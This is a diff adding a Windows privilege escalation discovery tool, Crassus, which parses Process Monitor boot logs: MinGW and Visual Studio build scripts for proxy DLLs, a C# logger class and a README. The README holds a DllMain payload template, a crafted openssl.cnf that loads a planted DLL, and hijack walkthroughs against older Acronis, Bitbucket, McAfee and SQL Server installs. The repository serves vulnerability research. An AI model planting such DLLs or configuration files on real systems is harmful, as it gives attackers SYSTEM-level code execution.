+ls *.cpp | xargs grep -l //BUILD_AS_64 | sed 's/.cpp//' | xargs -n1 -I{} bash -c "x86_64-w64-mingw32-g++ -c -o {}.o {}.cpp -D ADD_EXPORTS && x86_64-w64-mingw32-g++ -o {}.dll {}.o {}.def -s -shared -Wl,--subsystem,windows || x86_64-w64-mingw32-g++ -c -o {}.o {}.cpp && x86_64-w64-mingw32-g++ -o {}.dll {}.o -s -shared -Wl,--subsystem,windows"
+
+
+
+ @echo off
+echo %PATH% > path.txt
+FOR %%? IN (path.txt) DO ( SET /A strlength=%%~z? - 2 )
+if %strlength% GEQ 5500 goto vcvarserr
+call "%VCINSTALLDIR%\Auxiliary\Build\vcvarsall.bat" x86
+for /f %%f in ('findstr /m /c:"//BUILD_AS_32" *.cpp') do (
+ cl /DADD_EXPORTS /D_USRDLL /D_WINDLL %%f /LD /Fe%%~nf.dll /link /DEF:%%~nf.def
+ if not exist %%~nf.dll cl /D_USRDLL /D_WINDLL %%f /LD /Fe%%~nf.dll /link
+)
+call "%VCINSTALLDIR%\Auxiliary\Build\vcvars32.bat" amd64
+for /f %%f in ('findstr /m /c:"//BUILD_AS_64" *.cpp') do (
+ cl /DADD_EXPORTS /D_USRDLL /D_WINDLL %%f /LD /Fe%%~nf.dll /link /DEF:%%~nf.def
+ if not exist %%~nf.dll cl /D_USRDLL /D_WINDLL %%f /LD /Fe%%~nf.dll /link
+)
+goto :eof
+
+:vcvarserr
+echo This command prompt session has executed vcvarsall.bat too many times!
+echo Please close this window and start with a new session.
+
+
+
\ No newline at end of file
diff --git a/repos/Crassus/Crassus/Utils/Logger.cs b/repos/Crassus/Crassus/Utils/Logger.cs
new file mode 100644
index 000000000..380efe1dd
--- /dev/null
+++ b/repos/Crassus/Crassus/Utils/Logger.cs
@@ -0,0 +1,97 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text;
+
+namespace Crassus
+{
+ class Logger
+ {
+ public static bool IsVerbose = false;
+
+ public static bool IsDebug = false;
+
+ public static string ConsoleLogFile = "";
+
+ public static void Verbose(string message, bool newLine = true, bool showTime = true)
+ {
+ if (!IsVerbose)
+ {
+ return;
+ }
+
+ Write(message, newLine, showTime);
+ }
+
+ public static void Debug(string message, bool newLine = true, bool showTime = true)
+ {
+ if (!IsDebug)
+ {
+ return;
+ }
+
+ Console.ForegroundColor = ConsoleColor.Blue;
+ Write("[DEBUG] " + message, newLine, showTime);
+ Console.ResetColor();
+ }
+
+ public static void Error(string message, bool newLine = true, bool showTime = true)
+ {
+ Console.ForegroundColor = ConsoleColor.Red;
+ Write(message, newLine, showTime);
+ Console.ResetColor();
+ }
+
+ public static void Info(string message, bool newLine = true, bool showTime = true)
+ {
+ Write(message, newLine, showTime);
+ }
+
+ public static void Warning(string message, bool newLine = true, bool showTime = true)
+ {
+ Console.ForegroundColor = ConsoleColor.Yellow;
+ Write(message, newLine, showTime);
+ Console.ResetColor();
+ }
+
+ public static void Success(string message, bool newLine = true, bool showTime = true)
+ {
+ Console.ForegroundColor = ConsoleColor.Green;
+ Write(message, newLine, showTime);
+ Console.ResetColor();
+ }
+
+ protected static string FormatString(string message)
+ {
+ return $"[{DateTime.Now:HH:mm:ss}] {message}";
+ }
+
+ protected static void Write(string message, bool newLine = true, bool showTime = true)
+ {
+ message = showTime ? FormatString(message) : message;
+ message += newLine ? Environment.NewLine : "";
+ Console.Write(message);
+ WriteToLogFile(message);
+ }
+
+ protected static void WriteToLogFile(string message)
+ {
+ // Write to file too.
+ if (ConsoleLogFile == "")
+ {
+ ConsoleLogFile = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + @"\Crassus.log";
+ if (!File.Exists(ConsoleLogFile))
+ {
+ File.Create(ConsoleLogFile).Dispose();
+ }
+ }
+
+ using (StreamWriter w = File.AppendText(ConsoleLogFile))
+ {
+ w.Write(message);
+ }
+ }
+ }
+}
diff --git a/repos/Crassus/LICENSE b/repos/Crassus/LICENSE
new file mode 100644
index 000000000..10bbe0436
--- /dev/null
+++ b/repos/Crassus/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2022 Accenture Security
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
\ No newline at end of file
diff --git a/repos/Crassus/README.md b/repos/Crassus/README.md
new file mode 100644
index 000000000..23e20b545
--- /dev/null
+++ b/repos/Crassus/README.md
@@ -0,0 +1,308 @@
+# Crassus Windows privilege escalation discovery tool
+
+# Quick start
+
+1. In [Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon), select the `Enable Boot Logging` option.
+!["Process Monitor Boot Logging option"](screenshots/procmon_boot_log.png)
+2. Reboot.
+3. Once you have logged in and Windows has settled, run Process Monitor once again.
+4. When prompted, save the boot log, e.g., to `raw.PML`.
+5. Reset the default Process Monitor filter using `Ctrl-R`.
+6. Save this log file, e.g., to `boot.PML`.
+7. Run `Crassus.exe boot.PML`.
+8. Investigate any green colored results and the corresponding entries in `results.csv`.
+
+# Table of Contents
+
+* [Why "Crassus"](#why-crassus)
+ * [Did you really make yet another privilege escalation discovery tool?](#did-you-really-make-yet-another-privilege-escalation-discovery-tool)
+ * [Features](#features)
+ * [Flowchart](#flowchart)
+* [Screenshots](#screenshots)
+ * [Crassus Execution](#Crassus-execution)
+ * [CSV Output](#csv-output)
+ * [Exports](#output-exports)
+ * [Export DLL Functions](#export-dll-functions)
+ * [Export DLL Ordinals](#export-dll-ordinals)
+* [Getting Crassus.exe](#getting-crassusexe)
+ * [Building with Visual studio](#building-with-visual-studio)
+ * [Using precompiled Crassus.exe](#using-precompiled-crassusexe)
+* [Usage](#usage)
+ * [Execution Flow](#execution-flow)
+ * [Command Line Arguments](#command-line-arguments)
+ * [Examples](#examples)
+ * [Proxy DLL Template](#proxy-dll-template)
+ * [openssl.cnf Template](#openssl-template)
+* [Compiling Proxy DLLs](#compiling-proxy-dlls)
+ * [Visual Studio](#visual-studio)
+ * [MinGW](#mingw)
+* [Real World Examples](#real-world-examples)
+ * [Acronis True Image](#acronis-true-image)
+ * [Atlassian Bitbucket](#atlassian-bitbucket)
+ * [McAfee](#mcafee)
+ * [Microsoft SQL Server 2022](#microsoft-sql-server-2022)
+* [Troubleshooting](#troubleshooting)
+ * [Missing files not loaded](#missing-file-not-executed)
+ * [Code executed with unexpected privileges](#code-executed-with-unexpected-privileges)
+ * [Findings disappear on reboot](#findings-disappear-on-reboot)
+* [Contributions](#contributions)
+* [Credits](#credits)
+
+# Why "Crassus"?
+
+Accenture made a tool called [Spartacus](https://github.com/Accenture/Spartacus), which finds DLL hijacking opportunities on Windows. Using Spartacus as a starting point, we created Crassus to extend Windows privilege escalation finding capabilities beyond simply looking for missing files. The ACLs used by files and directories of privileged processes can find more than just [looking for missing files](https://vuls.cert.org/confluence/display/Wiki/2021/06/21/Finding+Privilege+Escalation+Vulnerabilities+in+Windows+using+Process+Monitor) to achieve the goal.
+
+## Did you really make yet another privilege escalation discovery tool?
+
+...but with a twist as Crassus is utilizing the [SysInternals Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) and is parsing raw PML log files. Typical usage is to generate a boot log using Process Monitor and then parse it with Crassus. It will also automatically generate source code for proxy DLLs with all relevant exports for vulnerable DLLs.
+
+## Features
+
+* Parsing ProcMon PML files natively. The log (PML) parser has been implemented by porting partial functionality to C# from https://github.com/eronnen/procmon-parser/. You can find the format specification [here](https://github.com/eronnen/procmon-parser/tree/master/docs).
+* Crassus will create source code for proxy DLLs for all missing DLLs that were identified. For instance, if an application is vulnerable to DLL Hijacking via `version.dll`, Crassus will create `version.cpp` and `version.def` files for you with all the exports included in it. By default the proxy DLLs will launch `calc.exe`. Build scripts are included to build the DLLs on Visual Studio or MinGW.
+* For other events of interest, such as creating a process or loading a library, the ability for unprivileged users to modify the file or any parts of the path to the file is investigated.
+* Able to process large PML files and store all events of interest in an output CSV file.
+
+## Flowchart
+
+The general gist of how Crassus works can be summarized in this flowchart:
+![Crassus flowchart](/screenshots/Crassus_flowchart.png "Crassus flowchart")
+
+# Screenshots
+
+## Crassus Execution
+
+![Running Crassus](screenshots/runtime.png "Running Crassus")
+
+## CSV Output
+
+![CSV Output](screenshots/output.png "CSV Output")
+
+## Output Exports
+
+![Exports](screenshots/exports.png "Exports")
+
+## Export DLL Functions
+
+![DLL Functions](screenshots/exports-version.png "DLL Functions")
+
+## Export DLL Ordinals
+
+![DLL Ordinals](screenshots/exports-def.png "DLL Ordinals")
+
+# Getting Crassus.exe
+
+## Building with Visual Studio
+
+Crassus was developed as a Visual Studio 2019 project. To build `Crassus.exe`:
+1. Open `Crassus.sln`
+2. Press `Ctrl+Shift+B` on your keyboard
+
+## Using precompiled Crassus.exe
+
+If you trust running other people's code without knowing what it does, `Crassus.exe` is [provided in this repository](./binaries/Crassus.exe).
+
+# Usage
+
+## Execution Flow
+
+1. In [Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon), select the `Enable Boot Logging` option.
+!["Process Monitor Boot Logging option"](screenshots/procmon_boot_log.png)
+2. Reboot.
+3. Once you have logged in and Windows has settled, optionally also run [scheduled tasks that may be configured to run with privileges](https://gist.github.com/wdormann/8afe4edf605627ee4f203861b6cc3a1c).
+4. Run Process Monitor once again.
+5. When prompted, save the boot log.
+6. Reset the default Process Monitor filter using `Ctrl-R`.
+7. Save this log file, e.g., to `boot.PML`. The reason for re-saving the log file is twofold:
+ 1. Older versions of Process Monitor do not save boot logs as a single file.
+ 2. Boot logs by default will be unfiltered, which may contain extra noise, such as a local-user DLL hijacking in the launching of of Process Monitor itself.
+
+## Command Line Arguments
+
+| Argument | Description |
+| ------------------------- | ----------- |
+| `` | Location (file) of the existing ProcMon event log file.|
+| `--verbose` | Enable verbose output. |
+| `--debug` | Enable debug output. |
+
+## Examples
+
+Parse the Process Monitor boot log saved in `boot.PML`. All vulnerable paths will be saved as `results.csv` and all proxy DLL source files in the `stubs` subdirectory.
+
+```
+C:\tmp> Crassus.exe boot.PML
+```
+
+
+## Proxy DLL Template
+
+Below is the template that is used when generating proxy DLLs., For DLLs that are found by Crassus, the proxy DLL will contain the same export names as specified in `%_EXPORTS_%`, as well as the same ordinals as specified in the `.def` file. Crassus will detect whether the DLL needs to be built as a 32-bit library or a 64-bit library by looking at the architecture of the parent process, and tagging the source code in the `%_BUILD_AS_%` field accordingly.
+
+If the real DLL cannot be found using the Process Monitor log, or if the export name is problematic, the build scripts will fall back to creating a DLL without specified exports.
+
+
+```cpp
+#pragma once
+
+//%_BUILD_AS%
+
+#include ;
+
+extern "C" {
+
+ VOID Payload() {
+ // Run your payload here.
+ WinExec("calc.exe", 1);
+ }
+
+ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
+ {
+ switch (fdwReason)
+ {
+ case DLL_PROCESS_ATTACH:
+ Payload();
+ break;
+ case DLL_THREAD_ATTACH:
+ break;
+ case DLL_THREAD_DETACH:
+ break;
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+ }
+
+
+ #ifdef ADD_EXPORTS
+ %_EXPORTS_%
+ #endif
+}
+```
+
+## openssl.cnf Template
+
+For applications that unsafely use the `OPENSSLDIR` variable value, a crafted `openssl.cnf` file can be placed in the noted location. For this example, the software will load `C:\tmp\calc.dll`. Be sure to use a 32-bit library to target 32-bit processes, and a 64-bit library to target 64-bit processes.
+
+```openssl_conf = openssl_init
+[openssl_init]
+# This will attempt to load the file c:\tmp\calc.dll as part of OpenSSL initialization
+# Build scripts should detect whether the calc.dll library needs to be built as 32-bit or 64-bit
+/tmp/calc = asdf
+```
+
+# Compiling Proxy DLLs
+
+## Visual Studio
+
+Compilation is possible using the `cl.exe` binary included with Visual Studio. Specifically:
+```
+cl.exe /DADD_EXPORTS /D_USRDLL /D_WINDLL .cpp /LD /Fe.dll /link /DEF:.def
+```
+
+To automate the build process, including specifying whether the library should be 64-bit or 32-bit:
+1. Open the Visual Studio Developer Command Prompt.
+2. Build the DLLs with the `build.bat` script.
+3. Rename the compiled file as necessary if the vulnerable file name ends with something other than `.dll`.
+
+**Note:** Due to an unfortunate behavior with `vcvarsall.bat`, which is [definitely not a bug](https://developercommunity.visualstudio.com/t/vcvarsallbat-reports-the-input-line-is-too-long-if/257260#T-N258712), you may encounter trouble attempting to run `build.bat` more than once in the same Visual Studio Developer Command Prompt session. If you encounter an error, simply close the window and launch it again.
+
+## MinGW
+
+If Visual Studio isn't readily available, proxy DLLs can be compiled with [MinGW-w64](https://www.mingw-w64.org/) instead. On an Ubuntu platform for example, MinGW can be installed via the following: `sudo apt install g++-mingw-w64-x86-64-win32 g++-mingw-w64-i686-win32`
+```
+# Create a 32-bit DLL
+i686-w64-mingw32-g++ -c -o .o .cpp -D ADD_EXPORTS
+i686-w64-mingw32-g++ -o .dll .o .def -s -shared -Wl,--subsystem,windows
+
+# Create a 64-bit DLL
+x86_64-w64-mingw32-g++ -c -o .o .cpp -D ADD_EXPORTS
+x86_64-w64-mingw32-g++ -o .dll .o .def -s -shared -Wl,--subsystem,windows
+```
+
+To automate the build process, including specifying whether the library should be 64-bit or 32-bit:
+1. Open a terminal.
+2. Run `bash ./build.sh`
+3. Rename the compiled file as necessary if the vulnerable file name ends with something other than `.dll`.
+
+# Real World Examples
+
+## Acronis True Image
+
+### Crassus Analysis
+
+As outlined in [VU#114757](https://kb.cert.org/vuls/id/114757), older Acronis software contains multiple privilege escalation vulnerabilities.
+1. Placement of `openssl.cnf` in a unprivileged-user-creatable location.
+2. Inappropriate ACLs in the `C:\ProgramData\Acronis` directory.
+
+Crassus finds both of these issues automatically.
+![Crassus output for Acronis](screenshots/acronis.png "Crassus output for Acronis")
+
+### DLL Hijacking
+
+By planting our compiled `curl.dll` file in the `C:\ProgramData\Acronis\Agent\var\atp-downloader\` directory and rebooting with a new Process Monitor boot log we can see that our payload that runs calc.exe runs, with SYSTEM privileges.
+!["Process Monitor log of planted curl.dll"](screenshots/acronis_planted.png)
+
+### openssl.cnf Placement
+
+The vulnerable Acronis software attempts to load `openssl.cnf` from two different locations. We'll place our template `openssl.cnf` file in `c:\jenkins_agent\workspace\tp-openssl-win-vs2013\17\product\out\standard\vs_2013_release\openssl\ssl`, and a 32-bit `calc.dll` payload in `c:\tmp`.
+!["Process Monitor log of planted openssl.cnf"](screenshots/acronis_openssl.png)
+
+## Atlassian Bitbucket
+
+### Crassus Analysis
+
+As outlined in [VU#240785](https://kb.cert.org/vuls/id/240785), older Atlassian Bitbucket software is vulnerable to privilege escalation due to weak ACLs of the installation directory. As with any Windows software that installs to a location outside of `C:\Program Files\` or other ACL-restricted locations, it is up to the software installer to explicitly set ACLs on the target directory.
+
+Crassus finds many ways to achieve privilege escalation with this software, including:
+* Placement of missing DLLs in user-writable locations.
+* Placement of missing EXEs in user-writable locations.
+* Renaming the directory of a privileged EXE to allow user placement of an EXE of the same name.
+
+![Crassus output for Atlassian Bitbucket](screenshots/bitbucket.png "Crassus output for Atlassian Bitbucket")
+
+### EXE Hijacking
+
+In the Crassus output, we can see that `c:\atlassian\bitbucket\7.9.1\elasticsearch\bin\elasticsearch-service-x64.exe` is privileged, but since it's running we cannot simply replace it. However, we can use another trick to hijack it. We may be able to simply rename the directory that it lives in, create a new directory of the same name, and plant our payload there as the same name.
+!["Rename the directory that a privileged process is running from"](screenshots/bitbucket_rename_dir.png)
+
+Once we reboot with a Process monitor boot log, we can see that our planted `elasticsearch-service-x64.exe` file is running instead of the real one, based on the Windows Calculator icon.
+!["Planted calc.exe as elasticsearch-service-x64.exe"](screenshots/elasticsearch_planted.png)
+
+## McAfee
+
+As outlined in [VU#287178](https://kb.cert.org/vuls/id/287178), older versions of McAfee software are vulnerable to privilege escalation via `openssl.cnf`. Let's have a look:
+![Crassus output for Mcafee](screenshots/mcafee.png "Crassus output for McAfee")
+
+To see why there are two different references to `openssl.cnf` in this boot log, we can refer to the `results.csv` file:
+![results.csv for Mcafee](screenshots/mcafee_results.png "results.csv for McAfee")
+
+Note that the loading of the `openssl.cnf` file from the `D:\` path will require further manual investigation, as the feasibility of loading such a path depends on the platform in question, and what access to the system is available. It may be possible to create an optical disk that provides an `openssl.cnf` file that also refers to a path that resolves to the optical drive as well.
+
+## Microsoft SQL Server 2022
+
+SQL Server 2022 isn't obviously vulnerable to privilege escalation due to weak ACLs **unless** it is installed to a non-standard location. If it is installed to a location outside of `C:\Program Files`, Crassus will uncover several possibilities for privilege escalation. Most Windows applications that include a privileged component appear to be exploitable in this manner if they are installed to a directory that doesn't already have inherently secure ACLs.
+!["Microsoft SQL Server 2022 installed to an insecure directory"](screenshots/sqlserver2022.png)
+
+# Troubleshooting
+
+## Missing file not executed
+
+If Crassus reports the privileged loading of a file that a user can plant or modify, this doesn't necessarily mean that it's an exploitable scenario. While Crassus looks for **potentially** interesting file types, a Process Monitor log file will not directly indicate what the associated process **would have** done with the file with it if it were there. It could be as simple as extracting a program icon. Investigating the call stack of the file operation in Process Monitor may give a hint as to what would have been done. Or simply place the file and investigate the behavior with a new Process Monitor boot log, if you prefer the easier brute force path. You may also encounter a missing library where either Crassus cannot find the library to know what exports should be present, or that the exports that Crassus found conflict in a way that prevents proper DLL compilation. In such cases, Crassus will fall back to creating a DLL that does not export any function names. Depending on how the target application loads the library, the absence of expected function names and/or ordinal numbers may prevent the target application from successfully loading the library. This scenario will require manual effort to determine what the proxy DLL should look like.
+
+## Code executed with unexpected privileges
+
+Crassus will look for privileged file operations to discover paths of interest. You may encounter a scenario where both a privileged and an unprivileged process access a path, but only the non-privileged process is the one that does the execution of what may be present. Alternatively, you may encounter a scenario where a parent process does run with privileges, but it may explicitly spawn child processes with lower privileges.
+
+## Findings disappear on reboot
+
+Especially when installing software for the first time, or when installing updates, Process Monitor may log a file operation that looks to be exploitable but does not occur every time that the system boots. Exploiting these operations may be possible on the first reboot after such an event happens. To avoid such edge cases, confirm that subsequent boot logs contain the same reported file operations on subsequent reboots.
+
+
+# Contributions
+Whether it's a typo, a bug, or a new feature, Crassus is very open to contributions as long as we agree on the following:
+* You are OK with the MIT license of this project.
+* Before creating a pull request, create an issue so it could be discussed before doing any work as internal development is not tracked via the public GitHub repository. Otherwise, you risk having a pull request rejected if for example we are already working on the same/similar feature, or for any other reason.
+
+# Credits
+
+* https://github.com/eronnen/procmon-parser/
diff --git a/repos/Crassus/screenshots/Crassus_flowchart.png b/repos/Crassus/screenshots/Crassus_flowchart.png
new file mode 100644
index 000000000..b412b3b0a
Binary files /dev/null and b/repos/Crassus/screenshots/Crassus_flowchart.png differ
diff --git a/repos/Crassus/screenshots/acronis.png b/repos/Crassus/screenshots/acronis.png
new file mode 100644
index 000000000..e7de9c50b
Binary files /dev/null and b/repos/Crassus/screenshots/acronis.png differ
diff --git a/repos/Crassus/screenshots/acronis_openssl.png b/repos/Crassus/screenshots/acronis_openssl.png
new file mode 100644
index 000000000..a324efb03
Binary files /dev/null and b/repos/Crassus/screenshots/acronis_openssl.png differ
diff --git a/repos/Crassus/screenshots/acronis_planted.png b/repos/Crassus/screenshots/acronis_planted.png
new file mode 100644
index 000000000..74b38dc50
Binary files /dev/null and b/repos/Crassus/screenshots/acronis_planted.png differ
diff --git a/repos/Crassus/screenshots/bitbucket.png b/repos/Crassus/screenshots/bitbucket.png
new file mode 100644
index 000000000..d9489df14
Binary files /dev/null and b/repos/Crassus/screenshots/bitbucket.png differ
diff --git a/repos/Crassus/screenshots/bitbucket_rename_dir.png b/repos/Crassus/screenshots/bitbucket_rename_dir.png
new file mode 100644
index 000000000..ae97be8e3
Binary files /dev/null and b/repos/Crassus/screenshots/bitbucket_rename_dir.png differ
diff --git a/repos/Crassus/screenshots/elasticsearch_planted.png b/repos/Crassus/screenshots/elasticsearch_planted.png
new file mode 100644
index 000000000..6f1a998eb
Binary files /dev/null and b/repos/Crassus/screenshots/elasticsearch_planted.png differ
diff --git a/repos/Crassus/screenshots/exports-def.png b/repos/Crassus/screenshots/exports-def.png
new file mode 100644
index 000000000..1f20a36d5
Binary files /dev/null and b/repos/Crassus/screenshots/exports-def.png differ
diff --git a/repos/Crassus/screenshots/exports-version.png b/repos/Crassus/screenshots/exports-version.png
new file mode 100644
index 000000000..d2396255c
Binary files /dev/null and b/repos/Crassus/screenshots/exports-version.png differ
diff --git a/repos/Crassus/screenshots/exports.png b/repos/Crassus/screenshots/exports.png
new file mode 100644
index 000000000..2e3031d02
Binary files /dev/null and b/repos/Crassus/screenshots/exports.png differ
diff --git a/repos/Crassus/screenshots/mcafee.png b/repos/Crassus/screenshots/mcafee.png
new file mode 100644
index 000000000..e939d0caa
Binary files /dev/null and b/repos/Crassus/screenshots/mcafee.png differ
diff --git a/repos/Crassus/screenshots/mcafee_results.png b/repos/Crassus/screenshots/mcafee_results.png
new file mode 100644
index 000000000..488560f2b
Binary files /dev/null and b/repos/Crassus/screenshots/mcafee_results.png differ
diff --git a/repos/Crassus/screenshots/output.png b/repos/Crassus/screenshots/output.png
new file mode 100644
index 000000000..dbe851bd0
Binary files /dev/null and b/repos/Crassus/screenshots/output.png differ
diff --git a/repos/Crassus/screenshots/procmon_boot_log.png b/repos/Crassus/screenshots/procmon_boot_log.png
new file mode 100644
index 000000000..cbf65fc78
Binary files /dev/null and b/repos/Crassus/screenshots/procmon_boot_log.png differ
diff --git a/repos/Crassus/screenshots/runtime.png b/repos/Crassus/screenshots/runtime.png
new file mode 100644
index 000000000..be7ec0dcc
Binary files /dev/null and b/repos/Crassus/screenshots/runtime.png differ
diff --git a/repos/Crassus/screenshots/sqlserver2022.png b/repos/Crassus/screenshots/sqlserver2022.png
new file mode 100644
index 000000000..f41ae6820
Binary files /dev/null and b/repos/Crassus/screenshots/sqlserver2022.png differ